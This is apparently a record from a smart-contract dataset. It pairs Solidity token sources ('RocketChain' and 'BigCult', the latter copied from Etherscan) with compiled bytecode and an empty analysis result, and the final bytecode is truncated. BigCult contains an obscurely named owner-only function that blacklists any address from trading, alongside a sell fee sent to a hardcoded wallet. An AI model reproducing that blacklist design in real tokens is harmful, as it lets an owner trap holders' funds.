_transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public override returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(value == 0 || _allowed[msg.sender][spender] == 0); _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public override returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Interface to use the receiveApproval method */ interface TokenRecipient { /** * @notice Receives a notification of approval of the transfer * @param _from Sender of approval * @param _value The amount of tokens to be spent * @param _tokenContract Address of the token contract * @param _extraData Extra data */ function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes calldata _extraData) external; } /** * @title RocketChain token * @notice ERC20 token * @dev Optional approveAndCall() functionality to notify a contract if an approve() has occurred. */ contract RocketChain is ERC20, ERC20Detailed('RocketChian', 'ROC', 7) { /** * @notice Set amount of tokens * @param _totalSupplyOfTokens Total number of tokens */ constructor (uint256 _totalSupplyOfTokens) { _mint(msg.sender, _totalSupplyOfTokens); } /** * @notice Approves and then calls the receiving contract * * @dev call the receiveApproval function on the contract you want to be notified. * receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) */ function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { approve(_spender, _value); TokenRecipient(_spender).receiveApproval(msg.sender, _value, address(this), _extraData); return true; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102c757806395d89b411461031f578063a457c2d7146103a2578063a9059cbb14610406578063cae9ca511461046a578063dd62ed3e14610523576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce567146102425780633950935114610263575b600080fd5b6100c161059b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061063d565b60405180821515815260200191505060405180910390f35b6101a86106e7565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f1565b60405180821515815260200191505060405180910390f35b61024a6107a2565b604051808260ff16815260200191505060405180910390f35b6102af6004803603604081101561027957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b9565b60405180821515815260200191505060405180910390f35b610309600480360360208110156102dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085e565b6040518082815260200191505060405180910390f35b6103276108a6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ee600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610948565b60405180821515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ed565b60405180821515815260200191505060405180910390f35b61050b6004803603606081101561048057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104c757600080fd5b8201836020820111156104d957600080fd5b803590602001918460018302840111640100000000831117156104fb57600080fd5b9091929391929390505050610a04565b60405180821515815260200191505060405180910390f35b6105856004803603604081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af8565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106335780601f1061060857610100808354040283529160200191610633565b820191906000526020600020905b81548152906001019060200180831161061657829003601f168201915b5050505050905090565b6000808214806106c957506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b6106d257600080fd5b6106dd338484610b9e565b6001905092915050565b6000600254905090565b60006106fe848484610cfd565b610797843361079285600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec790919063ffffffff16565b610b9e565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610854338461084f85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7f90919063ffffffff16565b610b9e565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093e5780601f106109135761010080835404028352916020019161093e565b820191906000526020600020905b81548152906001019060200180831161092157829003601f168201915b5050505050905090565b60006109e333846109de85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec790919063ffffffff16565b610b9e565b6001905092915050565b60006109fa338484610cfd565b6001905092915050565b6000610a10858561063d565b508473ffffffffffffffffffffffffffffffffffffffff16638f4ffcb133863087876040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff168152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b158015610ad457600080fd5b505af1158015610ae8573d6000803e3d6000fd5b5050505060019050949350505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610b9457600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bd857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c1257600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d3757600080fd5b610d88816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610ed657600080fd5b60008284039050809150509291505056fea26469706673582212205069cf7205d8fc698454f8bdefa7e07a5bc98bcb30b1776a6d9d89c9c7410c6564736f6c63430007000033
{"success": true, "error": null, "results": {}}
8,345
0x5b339e47d12370db405c3f12e29735e45a4ac04e
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BigCult is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "BigCult"; string private constant _symbol = "BigCult"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xdD675ecF9650EfCE2c3096433c83017E2438E929); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612de6565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128ed565b6104b4565b60405161018e9190612dcb565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f88565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061292d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061289a565b61060d565b60405161021f9190612dcb565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612800565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ffd565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612976565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129d0565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612800565b6109dd565b6040516103199190612f88565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612cfd565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612de6565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128ed565b610c9e565b6040516103da9190612dcb565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129d0565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c919061285a565b61137b565b60405161046e9190612f88565b60405180910390f35b60606040518060400160405280600781526020017f42696743756c7400000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611402565b848461140a565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612ec8565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613345565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106019061329e565b91505061057b565b5050565b600061061a8484846115d5565b6106db84610626611402565b6106d68560405180606001604052806028815260200161370460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611402565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c689092919063ffffffff16565b61140a565b600190509392505050565b6106ee611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612ec8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612ec8565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612ec8565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccc90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611402565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612ec8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612ec8565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f42696743756c7400000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611402565b84846115d5565b6001905092915050565b610cc4611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612ec8565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccc90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611402565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612ec8565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612f68565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061282d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061282d565b6040518363ffffffff1660e01b81526004016110ba929190612d18565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061282d565b600e60006101000a81548173fffffffffffffffffffffffffff